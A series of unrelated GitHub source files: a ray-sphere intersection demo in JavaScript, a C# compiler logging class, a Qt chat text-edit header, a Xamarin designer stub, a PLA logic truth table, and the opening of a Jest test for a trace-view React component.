needs to be normalized console.log(tProj); var iPos = vRayNorm.clone().scale(tProj).add(ray.start); Fungi.debugPoint.addVecPoint(iPos,0); Fungi.debugLine.addVecLine(sphere.position,0, iPos,0); //........................................... /*Get length of projection point to center and check if its within the sphere pythagorean theorem: adjacent^2 + opposite^2 = hyptenuse^2 */ var oppLenSqr = Vec3.dot(vRayToCenter,vRayToCenter) - (tProj*tProj); //Opposite^2 = hyptenuse^2 - adjacent^2 console.log("oppLenSqr",oppLenSqr,"radiusSqr", sphere.radiusSqr, "iPosLenSqr",iPos.clone().sub(sphere.position).sqrMag()); if(oppLenSqr > sphere.radiusSqr){ console.log(oppLenSqr, "Projection point outside radius"); return null; } if(oppLenSqr == sphere.radiusSqr){ console.log("Single Pointer Intersection"); return iPos; } var oLen = Math.sqrt(sphere.radiusSqr - oppLenSqr); //Opposite = sqrt(hyptenuse^2 - adjacent^2) //........................................... /*Using the Proj Length, add/subtract to get the intersection points since tProj is inside the sphere. */ var t0 = tProj - oLen; var t1 = tProj + oLen; if(t1 < t0){ var tmp = t0; t0 = t1; t1 = tmp; } //Swop Fungi.debugPoint.addVecPoint(vRayNorm.clone().scale(t0).add(ray.start),1); Fungi.debugLine.addVecLine(sphere.position,1, vRayNorm.clone().scale(t0).add(ray.start),1); Fungi.debugPoint.addVecPoint(vRayNorm.clone().scale(t1).add(ray.start),2); Fungi.debugLine.addVecLine(sphere.position,2, vRayNorm.clone().scale(t1).add(ray.start),2); } //http://www.lighthouse3d.com/tutorials/maths/ray-sphere-intersection/ //https://www.scratchapixel.com/lessons/3d-basic-rendering/minimal-ray-tracer-rendering-simple-shapes/ray-sphere-intersection function inSphere(sphere,ray){ //........................................... var vRayNorm = ray.end.clone().sub(ray.start).normalize(), vRayToCenter = sphere.position.clone().sub(ray.start), tProj = Vec3.dot(vRayToCenter,vRayNorm); //Project the length to the center onto the Ray //........................................... //Get length of projection point to center and check if its within the sphere var oppLenSqr = Vec3.dot(vRayToCenter,vRayToCenter) - (tProj*tProj); //Opposite^2 = hyptenuse^2 - adjacent^2 if(oppLenSqr > sphere.radiusSqr) return null; if(oppLenSqr == sphere.radiusSqr) return vRayNorm.clone().scale(tProj).add(ray.start); //........................................... //Using the Proj Length, add/subtract to get the intersection points since tProj is inside the sphere. var oLen = Math.sqrt(sphere.radiusSqr - oppLenSqr), //Opposite = sqrt(hyptenuse^2 - adjacent^2) t0 = tProj - oLen, t1 = tProj + oLen; if(t1 < t0){ var tmp = t0; t0 = t1; t1 = tmp; } //Swap var iPos = vRayNorm.clone().scale(t0).add(ray.start); return iPos; } </script> </head> <body> <div><canvas id="FungiCanvas"></canvas></div> <span id="lblFPS">0</div> </body> </html>
{ "pile_set_name": "Github" }
// Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. using Roslyn.Utilities; using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Linq; using System.Text; using System.Threading; namespace StarkPlatform.Compiler.CommandLine { /// <summary> /// Class for logging information about what happens in the server and client parts of the /// Roslyn command line compiler and build tasks. Useful for debugging what is going on. /// </summary> /// <remarks> /// To use the logging, set the environment variable RoslynCommandLineLogFile to the name /// of a file to log to. This file is logged to by both client and server components. /// </remarks> internal class CompilerServerLogger { // Environment variable, if set, to enable logging and set the file to log to. private const string environmentVariable = "RoslynCommandLineLogFile"; private static readonly Stream s_loggingStream; private static string s_prefix = "---"; /// <summary> /// Static class initializer that initializes logging. /// </summary> static CompilerServerLogger() { s_loggingStream = null; try { // Check if the environment string loggingFileName = Environment.GetEnvironmentVariable(environmentVariable); if (loggingFileName != null) { // If the environment variable contains the path of a currently existing directory, // then use a process-specific name for the log file and put it in that directory. // Otherwise, assume that the environment variable specifies the name of the log file. if (Directory.Exists(loggingFileName)) { loggingFileName = Path.Combine(loggingFileName, $"server.{GetCurrentProcessId()}.log"); } // Open allowing sharing. We allow multiple processes to log to the same file, so we use share mode to allow that. s_loggingStream = new FileStream(loggingFileName, FileMode.OpenOrCreate, FileAccess.Write, FileShare.ReadWrite); } } catch (Exception e) { LogException(e, "Failed to create logging stream"); } } /// <summary> /// Set the logging prefix that describes our role. /// Typically a 3-letter abbreviation. If logging happens before this, it's logged with "---". /// </summary> public static void Initialize(string outputPrefix) { s_prefix = outputPrefix; } /// <summary> /// Log an exception. Also logs information about inner exceptions. /// </summary> public static void LogException(Exception e, string reason) { if (s_loggingStream != null) { Log("Exception '{0}' occurred during '{1}'. Stack trace:\r\n{2}", e.Message, reason, e.StackTrace); int innerExceptionLevel = 0; e = e.InnerException; while (e != null) { Log("Inner exception[{0}] '{1}'. Stack trace: \r\n{1}", innerExceptionLevel, e.Message, e.StackTrace); e = e.InnerException; innerExceptionLevel += 1; } } } /// <summary> /// Log a line of text to the logging file, with string.Format arguments. /// </summary> public static void Log(string format, params object[] arguments) { if (s_loggingStream != null) { Log(string.Format(format, arguments)); } } /// <summary> /// Log a line of text to the logging file. /// </summary> /// <param name="message"></param> public static void Log(string message) { if (s_loggingStream != null) { string prefix = GetLoggingPrefix(); string output = prefix + message + "\r\n"; byte[] bytes = Encoding.UTF8.GetBytes(output); // Because multiple processes might be logging to the same file, we always seek to the end, // write, and flush. s_loggingStream.Seek(0, SeekOrigin.End); s_loggingStream.Write(bytes, 0, bytes.Length); s_loggingStream.Flush(); } } private static int GetCurrentProcessId() { var process = Process.GetCurrentProcess(); return process.Id; } private static int GetCurrentThreadId() { var thread = Thread.CurrentThread; return thread.ManagedThreadId; } /// <summary> /// Get the string that prefixes all log entries. Shows the process, thread, and time. /// </summary> private static string GetLoggingPrefix() { return string.Format("{0} PID={1} TID={2} Ticks={3}: ", s_prefix, GetCurrentProcessId(), GetCurrentThreadId(), Environment.TickCount); } } }
{ "pile_set_name": "Github" }
/** * D-LAN - A decentralized LAN file sharing software. * Copyright (C) 2010-2012 Greg Burri <[email protected]> * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #pragma once #include <QEvent> #include <QTextEdit> #include <QList> namespace GUI { struct KeyCombination { Qt::KeyboardModifier modifier; int key; }; class ChatTextEdit : public QTextEdit { Q_OBJECT public: explicit ChatTextEdit(QWidget* parent = 0); void addIgnoreKeyCombination(KeyCombination keyCombination); signals: void wordTyped(int position, const QString&); protected: bool event(QEvent* e); private slots: void documentContentsChange(int position, int charsRemoved, int charsAdded); private: QList<KeyCombination> keyCombinationIgnored; }; }
{ "pile_set_name": "Github" }
// WARNING // // This file has been generated automatically by Xamarin Studio from the outlets and // actions declared in your storyboard file. // Manual changes to this file will not be maintained. // using Foundation; namespace Conference_Diffable.CompositionalLayout.CellsandSupplementaryViews { [Register ("BadgeSupplementaryView")] partial class BadgeSupplementaryView { void ReleaseDesignerOutlets () { } } }
{ "pile_set_name": "Github" }
.i 100 .o 5 .p 200 .ilb x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 x10 x11 x12 x13 x14 x15 x16 x17 x18 x19 x20 x21 x22 x23 x24 x25 x26 x27 x28 x29 x30 x31 x32 x33 x34 x35 x36 x37 x38 x39 x40 x41 x42 x43 x44 x45 x46 x47 x48 x49 x50 x51 x52 x53 x54 x55 x56 x57 x58 x59 x60 x61 x62 x63 x64 x65 x66 x67 x68 x69 x70 x71 x72 x73 x74 x75 x76 x77 x78 x79 x80 x81 x82 x83 x84 x85 x86 x87 x88 x89 x90 x91 x92 x93 x94 x95 x96 x97 x98 x99 .ob y0 y1 y2 y3 y4 .type fr --100011010-0-0011101100-00--011-0011-00-11111-11-1-101-011-0101100-1110100101--00111-1010--0-1-1000 01101 001111--01101100-110011011-010-010011--1101-0110-11001001-001011001-000111101-011010011100000--01111 01001 1100-1-0001111-0100111-0-011010110010010---000111011-111-011001110-1-011----000001110011-00101100010 00000 0-110011-100-0-01-11010011-110-0011-01111-1-001-101-0-00010--0101110101100-10000011101110001-101-01- 01101 110-0000110000100000-1011-0101100000001---01110--0-111111-10-0---000---1-1-00-0110-00010-01101100111 00001 1001111-10--0100-011010101100-10-1000-0101-100101100101000-101-001-001100-0--100011110111--1000111-0 00110 10-001-000-00-0110101100-111101-011-011-001-110-111111000111001111-10-0110-10--000110010-0--0--11011 00010 100010110--11011001-0000-0101111001-000-1-0011100-1101111--011110-1010101-01-1-1-0-10---10-101111111 00110 011--11000--01001-01-11101-110--1110001010000111-0-010100001001-010011-0000010-01-0-01-0110-11110--- 11010 1000-10-10-100-10100100-0-0010-01----1-001111011-1000-01-100-00110101-0--0--000-00-010-01111-111-01- 10010 10-101-00-01011-1-110-10111--1-1-011011010-101-011000010-01-100-0-1111100001000--001111-1100--0-1011 01111 100-00011111-100-10011-110111-10-0-1--0111--10-00001101--01101---11101--0-001001-11100-10-011-10-000 01101 010010110110-0--11010001011-001100110-000000101-010000001111-1100010100---11010010-0-111110011101101 11010 00-111000-000111-1-110--1010-1-11011-00010--110-1-01-01-0-10-1-0-110010-011011-1-10-1-1-100-11010111 10101 111110011-1-1000101100100-110-0-0110101-1001010-1-111010100000-00001-11101101000---00-1100111-011110 00101 --011--000-0001-11--000-11010-00-01--10100100001-0000010000100101-00-101111--0--11-01--00110--101000 01101 0--0100-1-01-01000101001010-01101110-0---1010-00-111000110110-1-011110-1-0111111---010101-0-0-11-101 00101 0011--01001110-1011-111-110--010--11111-111-00-10-0-0011011100100000-1-11-0-0011-1-00000-110110000-1 11100 --000011011-000101--11--01010100-10000100101011010000000010111010101110-011-0000101111111-01-00-0010 10010 1010-10101-00-0-00010010100-0001101011000--11101011-011-10001-00-1010010-1011-100001011-0001011-1011 10011 001-00111111000001-010011-0-10-0110010000111-10-1-1111110000101100000100-111-1-010010111011011110-0- 01010 0100011-0-0100111-000-100-010000--001111100--1101110-001-11-0-010111-111010--01011-00010--1---0-000- 11010 0111111100-10101-11-1001-11--010010001-11-000100101001101-00000111011001-0-11110100100-1110--0--1010 10100 11-----1111-101001---0101-011101-010011--1--01111000--100000-1111011011--1010001-00-0110000-1---1--0 10110 1001111-010-11--0---101-0100-0011---1-111-10101001011-00-01-1011110101--101110001000-0-1000000-01101 10001 110111010111001110000000111-0-0001-110000-1110-0100-0-01001001000-1-00001111-1010101010001---01-11-0 00110 11101-00--00-10--0101--0--100-11111-11000-00110100-0111100-10---1--1-11010111-1-110-101-01111-101101 01100 1110101011110-01000011-0-010100010001111010001-111010-001-01-1101-11010-01-11-00-01101-11100100-10-1 01010 11-1--0-01--1101--1-0-01-0---1101-0-00-0111111000011-1000011-100--10001011-01001010001001011111-1--1 11001 11-0110110-00010-010010-1100--11000000-111110011000101-1-1001010-1101100010-011--1--0-1-1-101-011110 01100 -100-0-11-1--0010-1101101-010-111-1-11-10-11-11011000--0010-100111010011111000011-0011-0-1010--00101 10001 101111-000-010101111--1111-0001-0110101-0-1010-1-1-1--10-011-11001000-01-1-1-0-010001-00--0010-111-0 00110 1100--1001011100-1000000001-111-01001-1-11-00101-111-10-1-0011000101-11011-1100-1-1110111-0010000010 11100 0-000101--10-011111--0-101100111111-111-010-00-01000000--10100111-0111110-0-100-011010100000-1000-01 00111 0010011111-01-1100-10101--10-0-01-1-00001010101-11-11000-010-1-1001-11-10101110-1-0-01100111110-11-0 01101 1011000-0111-0100---00100-10--1110-1-111101111010-1010100101110000101-0-10000110000-0-1-0-10--0-0-01 01111 1100-100-000110-00011000-0011-0-11-1-111-01001000000111--11-0011111--1-110-1-000100-110100111100100- 11010 111-1-11001011--11-01--110---1011001000-0000100--01101-01000111101001101-01100-01110000010-000-0-011 10100 -000101-11-111-10100000001001110-011110--001--101111111010-0-1-00000-0-010--01101-0010--0-0000-0011- 00111 00-001-00111-1011100101111111-1101-0-110001-01-00001111--111-10011-1111011110-0-010000-1001100101-10 01100 10001-11-010111111-111-10000010-10110-1000110001-10000-110001-0000--0000-00-0-1011-11100101101001001 10000 -01-0--101--01101011100-01011110-0000-1-0-0-0001-010-0-0101111111-0-0001101-1---000111--101010111-01 00110 01-00001010100-0000000001-000--000010-001-00000-011-0110-01-11-0-1101-0110010-111-00----1---01-00--1 00111 00-00-111-111101100-10001--000110-0-111-100----10111-011-100001001110101111-11001-011111110101-0--10 10111 -1-0-0011001101011-11-1-0--100000-0001-1-0000--11001001-110011010--01110000-10-01110-10-10-010-11-10 11101 11-011-011-01-1-10001-11-0010100-1001010010-1111100110-10-01011010--0-0111-011-0--010100-10001-10010 01110 1101000001-0-0-1-11-00101-110010000-11-0100011011010111-1--001100-011-0100-101101-11010--1-100100-11 10000 00-01111--100-001--1-1000101-0-111-10001001100001-001-110011111--101-110110000011101010111-1-1010-01 11011 1-0011011000011111001-0-11-1-100-0-01110--0-01111011-0101-0000001000011-0111000011110-0-11111011-010 00001 0-10010100-000-00011011011---1101--01110000-110-110-1-100110100000000101---10-01011001000-10-0011101 01110 -1-0000111-110001-10101-0-001-011001-1110-010--010-001001-1000-1111000-00011101011011100001-0--10--0 01000 -01-10-100110001110111-0-10010-1-00101011-10111-101011110110001110-000110--01101--1101111101-0100100 01001 11010-0111--011-1000110-10111011100000-0001--111----10-1101--10-001--01100-1-11011001-10--11-0000111 00000 1--0110-1100-01--11-00-001010-0000-11-0-1000--10-1001001101-0-00-00-0110-1001-00-10001011001--101000 10110 100000-1000010100110-0-00-10101-1--0110000000111010-001010-1010110-01110110-11111001001-01-10011010- 01000 1-100--1001-011000-11000-1100011--0000000101-1-100-10-0-11000-101110111101-10001000000100100011-0010 10000 101101000-010111000--010-0100-00010-0110011-000-010000011-00001010-1-100010-1001110111-0101010100000 00100 -101-0--0-001001-1-000-11110-111111011-10101---011110000-0000001--11111--10-111-10--100111-111011111 10101 11010-100-00111-0-100--01101110-1-0110-1-1010-01101--00111000001--10-110100110010010-10-11-01100100- 10010 111101100-11110100111--01-0010-01000----01--0001000-001110100-101-00101001001-0011111011000101000111 10001 -01000101001001-1110--00-10-0-1001010-100100101100111001011--00010100--11-110010111011-1100011110011 01001 11001101--101-001001-11--010--0-1--1-01-1-0110000111101111100001-0--00010011111-11001-11000001-00001 00110 0110001-1--000010-010010-01000110001011001101011000-00-011111-1-01010011-1011--010-0-0011-11001-1101 01000 11-0011-10-111--0--1111-11-0001--011--0--010-0111010101---1001-0001110011110110001-10100-000-111-000 00100 01-00--1--000010010101-1110110--0-0010-11-1-0000-010-0-10-001110-01-0-1010-0001000010111101101000-10 01111 1-00--01100-1-0-010111-10-1---101-111-000--00-00--110-001--11011110110-0-0--1100111-10001-1101-1001- 01001 010101010-0001-011101010001001000100110--010-111000010010110001-100100-10100001-100100110-1111---00- 00111 01-0110000-1-01-0-10101101-00-0000-011111-01-11-111100-000110101000--101000-11000100001-00-1100-11-- 00100 010--10111011-001101-0000-0100-1101011001001100011110-1001111000110010100-01110100011--0-11-01001000 10011 0111001--100-00-01-000-0-111-000-0011011000--11-1011101001111-001--0-0-10-001011001-010-00-11101100- 00000 ---00011101-111000-01100-0110100110101-1-010-1011100011-110-00-010001-1000110000-0-1101111010-01-1-0 00010 10011011-1--00001010--110001-01---00--0-111001010-01-10-11001000111-11011011110101-0--0-1--0101-0111 11000 010-010100100-1101100-1111-101010001-00001-0-0-111001001000100110001-10100001100-01010-111--0-11100- 01011 10-000-00---1001010111-----0001110110111110--0--10-01010-10--1111010--00-00011-1010111101000011000-1 11110 1100000001110011-1-11001-100101101-111111010111-011-01-11-1-001001101---10-0-10101110111-0-0101-0100 10110 -111-1111111-11-1011111-1101--00001011--111-00000101-11-0-11--0-1-1000-1101-1-101--0100--10111-110-1 11110 0-00-00011100--1-0111-0---100-11001100-101101100-00--00010100010111001011-0010111111-10----111100-1- 10110 0-1-1111--1-011101-01111010-1-1001111-0101-0110-10010--10-0100101010000111001-1-010-100111--10010000 10100 10010-111011--010-1-101010000110100--10-10-10010--0--111000--01110-010111000100101111--10101-00---11 00011 11011010111100101011-10111-11111-11100010-0-01-1-0101-1000-1-000-0000-000101000001000-111-010000-1-0 01100 0011-0001110100011-1--1-00100-101001-0001-100-00-1010-10-10101-1-011--11--01--10-10010111110-11-1--1 00011 1111000011--100101001-111-11110000100-11000-000100--0-11---001101-000-0--0-01001001100-11001-1000101 00011 000000--0-10------1-11001000110000-010011-00-11010010010-11-011110--00101-001-11111001-1---1-1000000 00011 -0-0100-0101001-1011-111--110-0-10-000--01110-00-1-111111-0100011---1-11100101111-000-10---11000--0- 10000 1001000-00001-011-00--011--01100001000-0111101001-00010--111110-10010101-11100--10001-0000111-1-0-11 10100 111-11-011011100-1-10-00-011-0---111101111000100010-00010000001--11111--0-111010100010-101000-10011- 10100 1-10-1-110000-01100100000011-11100000-00110-1010111-00111-0-11-01-00-10110111-000-1100--1-000-100011 00010 10--001-011010100-1010010000111--10101000110-1-1001-000-00100110101-1000-110-000-10001010-101--00100 01010 1-1-011-0-100-100001-0-0110100-00-1110000111101--111101-101011011111-1--101110-000110-0101010110011- 00011 -11-0-101011111-1-000-0010100001-001-0010010-0110101101-011-010-11000-0-01001-11100101100-0000110011 00101 0-01010011101101101111101-0101-111-0-10-10111-11011010-01110-11111001-001-010-111--110-1--0-00100101 10000 -010110-1001110111-011010011-10100-1011000-1-10--0-00-0101010001-00-0110100000110-01100011-11---1--1 10100 --10111100-101-0--0110-1-10111-111--01-111001110010111100-000-100-110-01111011--110-0000110011100-11 11000 -0010011--001-0110110-1010110111111---010110000010011011-11-101000-11-0-111-01010--1-0000-101000--10 00001 100--001001100-01101110-11--0001101-000-1000--01010101011100-011-00--10--0111-110011110-11-01-1-1100 11011 1101-1101101111-110110111--1-1101-1-0010-00-0110010011-10000-111-00-0011-11010--0110-011-00-01110101 10111 -1-0011001110-00---11100-011-01-1100-01111011000000110001001-1001010110-00-00-0101000-1110---101000- 11000 -0001-1----0-1010111100-1-011001-01111010000100000110-000-0-111111111111--01010110--11101-1-0-01-00- 00111 1000001-00100111-010-0100011-01--10--11101-1---10100-0-111000011011-011-0010-100001111101010010--0-1 00011 00--010-11100111010--11010000101001000111-1--00001-11-1100010100010-011-0--1010001-10100-001-11-11-0 01100 -00-11-01-10-100-010010010000100-01--1000-00---1-1--0110000001-11101-000001110-010-111011100100101-1 01100 01110011--010-0-01-0--1010111010101100-1111-10110100-11011-0101001-100110-010-0000-101111000101101-1 00110 --111-000010---11100001--11-1-1-1-0-10111-111111111000000-01--010-1-0-0-1--0000-1010-000010001111110 01010 1001101000010110-101-011-110---1-0110101-101-110001001100-010-101000-0011101010111110-000101001110-1 00010 10001-0001--1000110010100101-01101-0---0-0110110--1101-1010011100-1--100-1111-0001101--0-1-11-000-10 10101 --000-11010-010100-0110001100--000-00-0-011-1011101110101-110111110011--1-000011-1001-11-001101--10- 10011 1-01-11000101001000-10110100010-0-11--1-0--00110010-0010101-1010-110-0-111-011011101-1-0001001-1-100 01101 10110-0-1001-0001010001000--0-111-011001110110101-1-0--1110001000-00-010-111101001-0-11100--10111000 11110 0-1-1111100-100001-1101110--101--00000010101111011110010001--1-11-1-100-11-1-01-0010--1-00111--00000 11101 100-01000111110100-1-001-1-10-000--10101-011000-11011010001101----001100-0101-00-011--01011010-11-00 10001 1100110-1-1-110001011-10001-101--00-0011110-01-001-1001-1011111-01--100001000011010011101-00000001-0 01000 0110-1-01--011-01000-0-0-1-10110-10-01-100110100-0000010101001-00111110-111001010-101-0100111001-000 01101 00-101100010011-11111-1-000-0011111001--00001111--11000010-0-0111001-0-0-111001--1-111110-0000011000 00001 10---101110110-10010-10010010-01110-1001011110-01-001-01110000101-00010111101010100-0001-111000-0-11 10011 10-110-1-0--01-0-00001100110000110-00000-1100-10000-0-1-1-110110--0-111001110-00011011111000-11-0--0 11100 -1111000011-11000100110-100000-0-01-0110--01111-10001---0-0110100-101110-1110-001-00-11--10-10-1000- 00110 11-00-0111-010001-000010---1001-01101100101-100111-1-100011-10-0110010010-0001--000-10-00-1--1-1-1-0 10001 1010-1111--1101111011-0-10-11000010-1100100100110010110011-1-10-0-001-1-11-00101-01100-001---0011011 00000 11010-1-00-100110-0101-00--1000-1-0111011010000-----111011-110001-1001----01-0-011-1-01001-101010000 10011 01-00--0-1010-1-0-110--01011-11-10-100110110-1-000-0---011-101-00000011110-0101-1000110011111-0-1-1- 00011 1001-11-000-1-01--11--0-11-100001000110-1101--0101100101000001-00001011-0110-011--110110--000101101- 10010 1-1-101111110000101111-001010101-0-0-1-1000000-0--11-111--0010011101010010-00-000-0001101--010-0000- 10010 -1111-11-010--11100010001101--11000000000000011100-1111000-1001110110-0101-0-1--0-1010000-0111001010 00101 --01-1-011-1111--10000-100011-11101000-11111-000010001010--111-000011-1111010000000100101011-1-0001- 11010 00-111-00-01-0-101-1-10-00000--1111-011-11-01-00001100-00100011--111-10-0-0-0011001-11-01-1111000000 01101 -1-10-1010-11--000001100-1-0-00110-00000-0101-0011-00-100--1000-11-1101001011100001100011110111--111 11101 10-0010---10--110000011011111-10-0--010-00---0001-11-011001--111-100101110010110-10011110--1011111-1 01100 1-10-0101-0001-10-000-11----0-010111-00110-10101010010-11001-1100--101001111011111--0010101100000111 00001 1111-01--010011000-1-0001-0101101-01000-1101101001000010101000010010-000100001-1001101-01-101-111001 10011 11-10101011000010010-10110000010-0100110111-10000001010--10--0011---001-111111011101001-1111-1011001 11010 -0-010-10001010-000100-1010000011--0111-0-0001-1110-01101111011--0--0111010-00-011-10110-10-0-0-00-1 11100 0101--0001-10000100111--10000100-1011100001-00-111001100-101011-011100101-00-0-0111110--110-1--01-1- 10101 0011-1--001000-000001010001-11-110010010-1-11-0010-1111000100110000--11001---100-01101110-11-111-0-0 10011 01110---1-101-100--1-01-11110111-110011111--0100-101-11011-1000010---11101011101-11111--1-1-1011100- 00010 1000-10-111001-0-10010-0-00100-0100001-1100-0-101111-011-01000110-1-1100-11111100100001011010101101- 11110 -11111010-011-1110100111--01-0111100-11-01--01-01-0--111001101-01001001001-0000001110111-101--111100 11010 10-000-010111110-110101010110-0-10011000111-1-1111111-0101111--0001110011-1-000010-1-0111-0101011001 00100 01001011-01100100110100011-010-101-01-101-0-1010-01000-11-101100--1-00--110-01001110-0110010-110-110 11110 101-0-1001-101000000100-11000100-11-0-110111101001-0-01111110100000-100101010111-00--101000-1-0-0010 11000 110-001-10---1-0-11100111110-011---000-0--0001110--0-10001-1000101-00-0111101100000-10-0000000110010 11101 --0-1--1-10--1110-0-10-00-1101--00-0010101100010000101111-01001101000--000-110-010111-1111110000-010 11000 1100-11110010001001000-011---011000-101-010111111010-01--01-01-001---11-111-01--0010100-0011-0100-00 00100 0010110-1110101010-01-01-10-10001101-1001101-00-1000100000111100100-0101-00011101-1101111001-0010101 10100 0-00---1011-00111011011001-1000101-1101000-01000-1011--00-000010-00110001-1100010000-1-11110-11--1-1 11100 1-111-0001110-0-1111000011011111010-0101-11-1-110010101-11--11-1000011011---1101---1101111--1110-010 01000 1110-101-1010001--101011-0111-11011-1-10--0-111011-0000000-01-10-01110-010101001100001-0111000111000 11010 1--000001-1100-1-0-011100-00001-01-011-1100001-01100111101000-1-010-0101-1-11-100-0100000111000-1--- 00001 -100100--0-1-101000000-1--0-1--0--11001--11100100101-1-1-1--001-11001100111-0001-11-0101111110011010 10101 -1010-001-10110000-101-00-0--111-0010--0111001000001011011-0-111111-01-111010000100001110010011101-1 10100 00-0011001000101-00000111--00-101000-0011100110011-10-0001101-00-100011000-0-01--1-111-1010-1--101-0 11001 10-100-01--00----0-011001-0011110-10011--10100001011000001-0--0111011100-011110111-00-100110-000--11 01011 110---110111000---11111-0011100101001--01-11-010-0111101-0-100--0-1-11100111110101-0-00-0-11-1-11001 01001 --1000-110100--1--0100--1-00101111--1100-0-100010010001101--011-00111011001-110---010110001000--000- 01000 1101010-00--001--0101011--11110-10--0000011110-00--1--001000-111-101011100001-0---11101-001101--1101 10110 0110011-01-11010001-11111000110-011--1-0-0-01010100100001110011001110100-0010-1110101110110--0-00110 11101 -0011111----1-0----101-1--00-0001011--1110000-0-1-011-0000-0010011--00100-0-0-0-0-11110010100--01010 00100 1-111-010-0011--111-000011101-1-1001-0-11-1-10101-101-0000101111000-0--1100101-0011100100-0--01-1000 11101 100--10--10-110000-010110001--1--00-0--00110011110001000001000-00-11110-10100010110011110000-1-0-00- 10110 000-0-011--10111--011-000010100-111-1-0-011111-10011111---101-11000-11-0-11--010-0110----1-1-10-1110 01011 01-011-01011001-11110001100110010--111100-01-000001000011100011010101100100-00111010-10--0-0-1---1-1 00011 0110111111-000001001010-1100111111100000-11110100010010101-100-1-01-01-0100010000010100110---01-1001 01000 1-01-000-1-11---1101011101100101-1001--001010-111-0-10101010000-11011101-001011011---000-1101--1--0- 10101 11-001--000100011-1001----1011010001-1101010-0110-101111-10-00101001-0010-11000111-101-1110110-0-110 01101 100-1001101011-0-10110011111-0110-0-011-10011101111--1111100-011-00000000001-01111-00111001001-0101- 10100 -110001010010110110-001110-11111-0-11101-1-1111-1-1-011-111-1-10--0110010---11110-1--00-0-1-01--01-- 00110 0-1--00001-1-011100000100-000-1111-1111-011001111101110-10010-0-000011-0110--10-0-1--100-01011001111 11110 1011000001111100--001-000000-011100-0011101010011011110-101010011-11110010-011011-100010101-00101110 00011 --111-0111--01010101-01-0111010-01-0011-0111110111--0-100--1--10-00-011--11110-001-0001-10-001110110 11110 11--1--010-11-0-00-0110100000-011110-0-0-10101101110000-00-01-1110011--1110-011100-01011-10--000000- 00011 010--111110010011111--011011010-10001-0-0011-01000-1101-0101-1000100-110-10110011111-00001-1000-0010 10001 101---10-011-011010011000001-0-11--0111100-0000110010--0---110101001110010-10111-1111-0011-111100110 11110 100000100-011101111000110011-010-0101100011-10-11-1-1-000100-0-1110-01010101-011000--111100101101-10 10010 0011001--11011-0100000--00-010-001000-100-110100110100100--0-101110001011111010011111011-111--0-0-10 11010 00101-10-11111-00-1-01010001-010-0110101011010-10100110010-1-01001001111-10001-1-1001---11-001-10--1 11011 1-1--1011-00-0001-100011-10001000--10100-10-11-0111------0--1111101-000-01--100011-00000100000100110 10001 -00110--0--0110--0111111-110--00001-10100-00-111---111-111000010110-10-111100111-1-11-1-1-111-01111- 11001 -010----0100010001010100-110101011--11-10001-11-0011--00010110011101111010110-0110-001111--011110110 01001 -01-000111100001-11-111--0--0-000111-100-001-1100100011-1011-11-11--0011100-0--10011-0000-01000-10-1 01011 100101-000-00111-10-1-0101-01--01000100011--0-1-01-001111-00110100-0110-0111---01-110110-0-000110-11 11010 -011001-0-000000-000-100-01-0010-110101001000010010-0-10-10110011001110-011111-000001010-01110010-1- 11000 1-0000101-011-101-001111-110-101-1-11001-101-1110101100001-0000000-101-110000110---0-0100111-1010-11 01010 0-1---100000--0011001010-011---10010-0110--1101000-1--1000001-0-1-100011010010111-00101100111100-0-0 00010 0010-10-101-10111-0011-00-0-1-1-10000-0100-1-111--110-0-1-0-1001-100100-00-0--1--0-0-0000-101100-111 00010 11010-0011101111-11-1101-1110000110--10-110-01-01-0100-001-0-010100-00-0--0-111-01-1--110-10--110100 01110 110000000010-1-111011111000--110111010-0001001111-1110000011-0001-001-1--01010001100111101--0001101- 10001 0100-0-100-010-10010110-10100-01-1-0011-001-110001-0101000000-010-0-01001-110011-0111001-0--01111000 01010 011101011-101110-000111-110-0-1---10001101000-1-011010100001110111-001100010000-100000---1100-011011 01001 111-01-000--1---001-011110110011010-1-001--01010-1101100101-010011-00-0001-10-00110101-010111-010111 11111 11-11001-1-1-111010010101011110-1-00110010-011-01-10111-10011011111-1---1-00-0-1110-0011000-0-0----1 11100 000-00101111-00-000110-010-100-0-0111110011001-110011011-011001101-010-110101010010-1110101----0-101 10100 1011111-0--010111-000--001100001000--11-0110--1110111-01--0111000-10-1-0-1-1110-01000110-10010011101 11101 001-0101-10100-1-000-110111-0-0111-1110-010-0-011-10111-0011--1-0-0--10111000010-1011--000111-110101 00110 -101--101-1-10110001001-10001-01-110100-101--01011-011-00101-11-11-1000000-110101--01101-0-10001--00 10100 101--101001000001101-1101-100-100111001100001101000-010--0101101110-1-10-11111-00001100-110100111-1- 10011 111-100-10110-1111000101-10001000111010001-0-010000111110---0100----00110---00-11100010101000000101- 10001 0-010100110001011-100011-101-00-1--1-10-1101100010110-1-00-00101-0101-10101000000-01-111011011--101- 10100 10-1-11000-10010-1-1-1-0001000--0-110101--1-00--111-11111-111-11101-11-1-0111--10000101---1000110000 00010 1-01110010--11-1110011--01110010000-011001000-1-0100--000-111-100011011-000100101000001-100101101111 10110 00--11011110-110--11--0001-101--1110001-111-0101000001000100010100-0-110000001111-0-0110-1100-00-1-0 10000 1101010011101-0-100111-000011010-10---1001--0000101100-001010-0-1110011110-1-01001110--1001-1-011--1 11011 .e
{ "pile_set_name": "Github" }
// Copyright (c) 2017 Uber Technologies, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. import React from 'react'; import { shallow } from 'enzyme'; import SpanDetailRow from './SpanDetailRow'; import SpanDetail from './SpanDetail'; import DetailState from './SpanDetail/DetailState'; import SpanTreeOffset from './SpanTreeOffset'; jest.mock('./SpanTreeOffset'); describe('<SpanDetailRow>', () => { const spanID = 'some-id'; const props = { color: 'some-color', columnDivision: 0.5, detailState: new 